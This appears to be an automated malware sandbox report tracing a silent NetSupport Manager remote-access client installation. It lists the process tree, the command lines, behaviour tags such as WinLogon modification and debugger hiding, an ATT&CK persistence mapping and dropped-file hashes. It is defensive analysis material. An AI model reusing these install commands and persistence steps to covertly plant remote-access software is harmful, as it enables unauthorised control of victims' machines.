C:\Windows\system32\cmd.execmd.exe /c ATTRIB -R "C:\Users\Admin\AppData\Local\Temp\{CBB68368-7767-4CFF-B3E5-211488346702}\\nsm.lic"2⤵PID:928
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R "C:\Users\Admin\AppData\Local\Temp\{CBB68368-7767-4CFF-B3E5-211488346702}\\nsm.lic"3⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:1816
-
-
-
C:\Windows\Installer\MSI73AE.tmp"C:\Windows\Installer\MSI73AE.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3668
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0077EA0D1488B6C9BBB0E1AF4A0038DE E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2308
-
-
C:\Windows\Installer\MSI7878.tmp"C:\Windows\Installer\MSI7878.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3412
-
-
C:\Program Files (x86)\NetSupport\NetSupport Manager\checkdvd.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\checkdvd.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3244
-
-
C:\Windows\Installer\MSI7E27.tmp"C:\Windows\Installer\MSI7E27.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EV"NetSupport School" /EF".\Log Files" /EF".\Bookmarks" /EF".\Tests" /EF".\Store" /EF".\inv" /EF".\Resources" /EF".\Help" /EF".\Image" /EF".\Sound" /EF".\Video" /EA /EX /EC /Q /V /Q /I *2⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2456 -
C:\Program Files (x86)\NetSupport\NetSupport Manager\winst64.exewinst64.exe /q /q /ex /i3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Modifies registry class
PID:4520
-
-
-
C:\Windows\Installer\MSI852F.tmp"C:\Windows\Installer\MSI852F.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EI2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3428
-
-
C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe" /Q "C:\Program Files (x86)\NetSupport\NetSupport Manager\Client32.ini"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:1408 -
C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe"3⤵
- Executes dropped EXE
PID:4720
-
-
-
C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe" /* *1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1592 -
C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe" * /VistaUI2⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:4672 -
C:\Windows\SysWOW64\cscript.exe"cscript.exe" C:\Windows\system32\Printing_Admin_Scripts\en-US\prnport.vbs -a -r NSM001 -h 127.0.0.1 -o raw -n 616393⤵
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:472
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv1⤵
- Modifies data under HKEY_USERS
PID:3556
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Event Triggered Execution
1Component Object Model Hijacking
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
41KB
MD5ec938a0209e65273d3630c5144616091
SHA10f5f1bf60c3e0beacbdde1df4e2bac444f783069
SHA256ba5e4c29b9f8536dd53f4ace8f50eb31712d389e06437353a4f0829ab8675677
SHA512a86b37ad9723d87a0ffdadaa1a79ca2c728a2676d856e3706ca432a1bb07e8a1e25cf1c195a325f51d329003588c2cefdd6e6649cac30d0a7044eea73fd1bdb2
-
Filesize
745KB
MD50fcf65c63e08e77732224b2d5d959f13
SHA15419b79fe14e21d1d5b51fe8187f7b86ec20de74
SHA256f3e587f94a79c46a603b39286e93b17fabc895c6b71b26b0fc5d812cf155b7e5
SHA5127c289aaf3ac1b998c8ca9593a58c8aa3a9aa9f41852c1ed4192b908e0ad51871400d585b4fe508d49368bdfc7378807d289971914870a7a47b0410a946e5e381
-
Filesize
2KB
MD5905ad4c0382eae16df4c0dea8e4d2fcc
SHA16597192580595528a3a24cf94c4b44e44cfa6be4
SHA25649f4e7cdd3716a8e33a6659daa709606a4d74ae84525fa395efd8687f7e9d2ae
SHA512cc5784d1da871001a838d9ea2ac774cc727cb0d0f8cb76f05ae76fd35fd4bff86bf3418b4abf32f9477f25fbb7710a3fc961072cc95e1a4afd83c7a19dcbaa09
-
Filesize
7KB
MD5c2ceeb94c14e4d5ac51baa8c11a4b7f5
SHA1f4c18b29a87abb3f904036e62332339180a93225
SHA256d845288f5060fb7143a44359b8f36a2e49f0a16ed197791b47e97a009f666e2a
SHA512446c38da03e62e7fcf059074bc8b835b09b7024d5ceceb375d10accb025c9fe0d3f3eddcdd53d89f30e9b7e8354747e6bf1f864849742f0144b5a99bcf794695
-
Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
39.7MB
MD587ef82757aba83e7eb63c7c35dbae97a
SHA17418c4ddeecba68e253e89622ad9ca45597d9350
SHA25679040421b5a48dcc6e611dfe187b2f3e355791ad8511adb84f5c0948aa1d6c89
SHA512605495995a07d7dfaa5d8f09b9d5bde1e0281b5b6581923b9fbd7c103e5ca9f2bb8dcf8e1049c21bd90ac4d68759270d5453e0414c2f6e1eb3ef877eee1a5533
-
Filesize
253B
MD5d2c2217861f5535686409d80a0867f6f
SHA1f4d90bebfcf8f501e5b9f0427028f696c3a191c7
SHA256af9c79cf3af6a7e969208da78dfcfac54d6f956545b46f434d0e447cff94807b
SHA512656deac03f9d81792e3d78108fb7d6754ca4a21a30f0e8da72e71f64b0b015dfc299d5478a8cc27acb05a0ec7e01c2c1cfcc9eb40041e4fe0a790414e42b4a37
-
Filesize
506B
MD5ff7c0d2dbb9195083bbabaff482d5ed6
SHA15c2efbf855c376ce1b93e681c54a367a407495dc
SHA256065d817596d710d5a06060241acc207b82b844530cc56ff842ff53d8ff92a075
SHA512ea226b3a55fc59175136f104df497ebf5055624fb1c1c8073b249dfc5e1ed5818a6feee995aa82cf9ed050f1adc7a62994c90b1af03569dfe0d4551ee2bc70c9
-
Filesize
169KB
MD50e6fda2b8425c9513c774cf29a1bc72d
SHA1a79ffa24cb5956398ded44da24793a2067b85dd0
SHA256e946b2fae0b36c43064463a8c16a2774adac30c4188c5af90e9338b903c501c9
SHA512285bb7759a1214abed36162ac8be2d48df17a05278c4de97562448e20fd43b635563a6819f37e23d92a5f5ed0205a68bffe43dac0d3a67513bd0303b4e7f89aa
-
Filesize
511KB
MD5d524b639a3a088155981b9b4efa55631
SHA139d8eea673c02c1522b110829b93d61310555b98
SHA25603d91c8cd20b846625a092a3dae6a12369930c65d6216a455a00449ebb0dc289
SHA51284f8ab54122f93a40da08fd83bca767ab49eb0f73c4ab274d9bda11dd09224134df011fa02e5a3abbafcc6fbef6a60673dd48feabdf829a1e22c85a2a759b7ac
-
Filesize
487KB
MD53085d62326cc1ae4ab21489576973621
SHA1e3c847dee0ecc7176c1168d6d1df9b9e98b19936
SHA256d2dc425f47d8c80abd8cadbcd8aa53516e7754c371bd3bad3907294a6ca57c5c
SHA512f993e4e04b348f7eb346d2f3d00fdaed2212f28ba885bbe50c1959737c5b6cab9cfbe17c4aba992521aa0ecdcf5216fa9e6c36a47746077307d32170223a9a97
-
Filesize
153KB
MD5a1b7850763af9593b66ee459a081bddf
SHA16e45955fae2b2494902a1b55a3873e542f0f5ce4
SHA25641b8e92deba5206c78817236ed7f44df95636ca748d95fab05f032f5aec186af
SHA512a87a302a9a0d19d7ce293b42f5e7bc09664b21307a5321f226157fcc57eb2df2b59c6651878cb23969a182c82b55e8671ff00f8462194b81a907974a49cb25b1
-
Filesize
244KB
MD5c4ca339bc85aae8999e4b101556239dd
SHA1d090fc385e0002e35db276960a360c67c4fc85cd
SHA2564ab23609cdc64d10b97c9ccb285ed7100f55d54d983cd50762da25ecac4357f9
SHA5129185ec32545fc838d7fef6c9e4dd222dd02114c661b0b344f16287d55e6571bfe7a4233a852acc579d07bcdbab18c5c034c465b1f4bb78535ed51c3499087fe0